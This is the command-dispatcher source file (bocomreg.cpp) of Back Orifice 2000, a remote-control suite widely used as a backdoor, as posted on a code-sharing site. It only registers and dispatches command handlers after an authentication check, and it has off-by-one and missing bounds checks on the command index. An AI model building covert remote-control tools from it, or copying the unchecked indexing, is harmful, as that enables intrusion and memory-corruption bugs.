bocomreg.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:4k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. // BO2K Command Dispatcher
  16. #include<windows.h>
  17. #include<bocomreg.h>
  18. BO_CMD_HANDLER *command_handler_table=NULL;
  19. BO_CMD_DESC *command_description_table=NULL;
  20. HANDLE g_hDispatchMutex=NULL;
  21.                                           
  22. int InitializeCommandDispatcher(void)
  23. {
  24. int i;
  25. command_handler_table=(BO_CMD_HANDLER *)malloc(sizeof(BO_CMD_HANDLER)*MAX_BO_COMMANDS);
  26. if(command_handler_table==NULL) return -1;
  27. command_description_table=(BO_CMD_DESC *)malloc(sizeof(BO_CMD_DESC)*MAX_BO_COMMANDS);
  28. if(command_description_table==NULL) return -1;
  29. for(i=0;i<MAX_BO_COMMANDS;i++) {
  30. command_handler_table[i]=NULL;
  31. }
  32. g_hDispatchMutex=CreateMutex(NULL,FALSE,NULL);
  33. if(g_hDispatchMutex==NULL) return -1;
  34. return 0;
  35. }
  36. int KillCommandDispatcher(void)
  37. {
  38. CloseHandle(g_hDispatchMutex);
  39. if(command_handler_table) free(command_handler_table);
  40. if(command_description_table) free(command_description_table);
  41. return 0;
  42. }
  43. int RegisterNativeCommand(int command, BO_CMD_HANDLER handler)
  44. {
  45. if(command<0 || command>MAX_BO_COMMANDS)
  46. return -1;
  47. command_handler_table[command]=handler;
  48. command_description_table[command].svCommName="";
  49. command_description_table[command].svFolderName="";
  50. command_description_table[command].svArgDesc1="";
  51. command_description_table[command].svArgDesc2="";
  52. command_description_table[command].svArgDesc3="";
  53. command_description_table[command].bNativeComm=TRUE;
  54. return 0;
  55. }
  56. int RegisterCommand(BO_CMD_HANDLER handler, char *svFolderName, char *svCommName, char *svArgDesc1, char *svArgDesc2, char *svArgDesc3)
  57. {
  58. int i;
  59. for(i=200;i<MAX_BO_COMMANDS;i++) {
  60. if(command_handler_table[i]==INVALID_CMD_HANDLER) break;
  61. }
  62. if(i==MAX_BO_COMMANDS) return -1;
  63. command_handler_table[i]=handler;
  64. command_description_table[i].svCommName=svCommName;
  65. command_description_table[i].svFolderName=svFolderName;
  66. command_description_table[i].svArgDesc1=svArgDesc1;
  67. command_description_table[i].svArgDesc2=svArgDesc2;
  68. command_description_table[i].svArgDesc3=svArgDesc3;
  69. command_description_table[i].bNativeComm=FALSE;
  70. return i;
  71. }
  72. int UnregisterCommand(int command)
  73. {
  74. if(command<0 || command>=MAX_BO_COMMANDS) return -1;
  75. if(command_handler_table[command]==INVALID_CMD_HANDLER) return -1;
  76. command_handler_table[command]=INVALID_CMD_HANDLER;
  77. command_description_table[command].bNativeComm=FALSE;
  78. return 0;
  79. }
  80. int DispatchCommand(int command, CAuthSocket *cas_from, int comid, int nArg1, char *svArg2, char *svArg3)
  81. {
  82. BO_CMD_HANDLER handler;
  83. int ret;
  84. if(WaitForSingleObject(g_hDispatchMutex,INFINITE)!=WAIT_OBJECT_0) {
  85. return -1;
  86. }
  87. if(cas_from->GetAuthHandler()->pValidateCommand(cas_from->GetUserID(), command)==FALSE) {
  88. ReleaseMutex(g_hDispatchMutex);
  89. return -1;
  90. }
  91. handler=command_handler_table[command];
  92. if(handler==INVALID_CMD_HANDLER) {
  93. ReleaseMutex(g_hDispatchMutex);
  94. return -1;
  95. }
  96. ret=handler(cas_from, comid, nArg1, svArg2, svArg3);
  97. ReleaseMutex(g_hDispatchMutex);
  98. return ret;
  99. }
  100.